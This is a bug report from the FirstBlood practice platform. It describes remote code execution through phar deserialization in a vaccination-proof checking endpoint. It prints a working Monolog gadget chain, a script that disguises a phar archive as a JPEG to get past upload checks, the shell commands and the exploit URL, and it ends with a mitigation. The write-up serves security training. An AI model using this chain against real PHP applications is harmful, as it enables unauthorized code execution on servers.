FirstBlood-#475[COLLAB] RCE via insecure deserialization in /api/checkproof.php endpoint
This issue was discovered on FirstBlood v2.0.0 (issues patched)



On 2021-10-25, panya Level 7 reported:

This bug was found in collaboration with Mava.

The site now contains a new feature for confirming vaccination. The feature allows uploading an image (jpg or png) and then uses some logic in /api/checkproof.php endpoint to validate the image (an absolute image path is provided in the proof parameter).

The uploaded image is strictly validated by the body of the file. And it restricts to upload non-image files.

But because of the absolute file path in the proof parameter, we can craft a phar archive that will mimic a valid image. Phar archives allow storing metadata information which serialized via serialize call and then deserialized when we access the phar archive via phar:// php filter (if one of these functions is used with the provided file path: file(), file_exist(), file_get_contents(), fopen(), rename(), unlink(), include(). And based on the /api/checkproof.php behaviour, I assume it uses file_exist()).

So to exploit the insecure deserialization we just need to craft a proper gadget chain which will allow us to execute php code.

After some recon by Mava we found /composer.json (composer.phar and composer.lock are also publicly accessible) file with this content:

{
    "require": {
        "monolog/monolog": "2.1.1"
    }
}

So the app uses Monolog library with version 2.1.1. After some googling, we found that the library has known deserialization gadget chain (chain.php, discovered via https://github.com/ambionics/phpggc):

<?php

namespace Monolog\Handler
{
    class SyslogUdpHandler
    {
        protected $socket;

        function __construct($x)
        {
            $this->socket = $x;
        }
    }

    class BufferHandler
    {
        protected $handler;
        protected $bufferSize = -1;
        protected $buffer;
        # ($record['level'] < $this->level) == false
        protected $level = null;
        protected $initialized = true;
        # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
        protected $bufferLimit = -1;
        protected $processors;

        function __construct($methods, $command)
        {
            $this->processors = $methods;
            $this->buffer = [$command];
            $this->handler = $this;
        }
    }
}

which can be exploited via this call:

new \Monolog\Handler\SyslogUdpHandler(
    new \Monolog\Handler\BufferHandler(
        ['current', 'system'],
        ['id', 'level' => null]
    )
);

to achieve RCE (this code when serialized and then deserialized will call system('id')).

To get the valid phar archive with this payload, we build a simple script (phar.php):

<?php

include 'chain.php';

$payload = new \Monolog\Handler\SyslogUdpHandler(
    new \Monolog\Handler\BufferHandler(
        ['current', 'system'],
        ['id', 'level' => null]
    )
);

$image = file_get_contents('example.jpg');

$phar = new \Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub($image . '<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($payload);
$phar->stopBuffering();

?>

it also adds content of a valid jpg file (named example.jpg):

to make it a valid jpg image (it will be useful to bypass upload filters).

To make it work, we also need to set phar.readonly to Off in our php.ini file.

So after call this script:

php phar.php

and renaming the resulting phar archive (test.phar) to jpg:

mv test.phar test.jpg

we can upload the image to the site via upload-vaccination-proof.php form.

After uploading, the site will redirect us on /vaccination-manager/pub/submit-vaccination-proof.php that contains (in a script tag) path to /api/checkproof.php?proof=/app/firstblood/upload/9b351e527bfb9dfc4c0ee988edfa7110e41d9d47.jpg with an absolute path to our image (/app/firstblood/upload/9b351e527bfb9dfc4c0ee988edfa7110e41d9d47.jpg in this case).

But it's not an image, it's phar archive, so to exploit our RCE we just visit the endpoint https://579a3c7897af-panya.a.firstbloodhackers.com/api/checkproof.php?proof=phar:///app/firstblood/upload/9b351e527bfb9dfc4c0ee988edfa7110e41d9d47.jpg/test.txt (notice the phar scheme + test.txt from our archive as a suffix).

And in the response, we will see an output of id system command (after true):

trueuid=1000(fb-exec) gid=1000(fb-exec) groups=1000(fb-exec)

Screenshot of the output:

Impact:

An attacker could execute any php code.

Mitigation:

Disable phar scheme with stream_wrapper_unregister and/or update the Monolog library to the latest version.

Thanks to Mava for the awesome composer.json finding.

P1 CRITICAL

Endpoint: /api/checkproof.php This bug makes use of the following vulnerabilities in a chain:

  • Information leak/disclosure
  • Deserialization


FirstBlood ID: 36
Vulnerability Type: Information leak/disclosure

It is possible to use the composer.json to aid with another vulnerability and gaining information/knowledge on versions used.

FirstBlood ID: 34
Vulnerability Type: Deserialization

This endpoint calls filesize() on the path provided in the 'proof' param with no filtering or sanitisation. By adding the phar:// stream handler to the path, an attacker can force a previously uploaded file to be sent through deserialisation. Coupled with the fact that a gadget-chain vulnerable version of monolog is being used, this allows for RCE.

Report Feedback

@zseano

Creator & Administrator


Nice work panya and mava! :)